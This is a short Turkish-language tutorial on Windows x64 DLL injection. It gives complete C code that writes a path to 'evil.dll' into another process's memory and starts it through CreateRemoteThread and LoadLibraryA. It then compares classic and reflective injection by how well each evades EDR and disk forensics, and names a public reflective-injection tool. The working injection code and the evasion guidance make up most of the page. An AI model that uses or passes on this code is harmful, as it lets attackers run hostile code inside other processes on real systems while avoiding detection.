Modern Teknik - Windows x64 - DLL Injection
DLL Injection, hedef Windows process'ine harici DLL yukletarak kod calistirmanin en yaygin yontemlerinden biridir.
LoadLibraryA DLL Injection
#include
int main(int argc, char* argv[]) {
DWORD pid = atoi(argv[1]);
const char* dll = "C:\\evil.dll";
HANDLE hP = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID m = VirtualAllocEx(hP, NULL, strlen(dll)+1,
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hP, m, dll, strlen(dll)+1, NULL);
HMODULE k32 = GetModuleHandle("kernel32.dll");
FARPROC ll = GetProcAddress(k32, "LoadLibraryA");
HANDLE hT = CreateRemoteThread(hP, NULL, 0,
(LPTHREAD_START_ROUTINE)ll, m, 0, NULL);
WaitForSingleObject(hT, INFINITE);
}
Klasik vs Reflective
Klasik DLL Injection:
Disk'e DLL yazilmasi gerekir
LoadLibrary API logu olusturur
EDR kolayca tespit eder
Reflective DLL Injection:
DLL bellekte kalir, diske yazilmaz
LoadLibrary cagirilmaz
Disk forensics'i karsi gorünmez
Arac: ReflectiveDLLInjection (stephenfewer)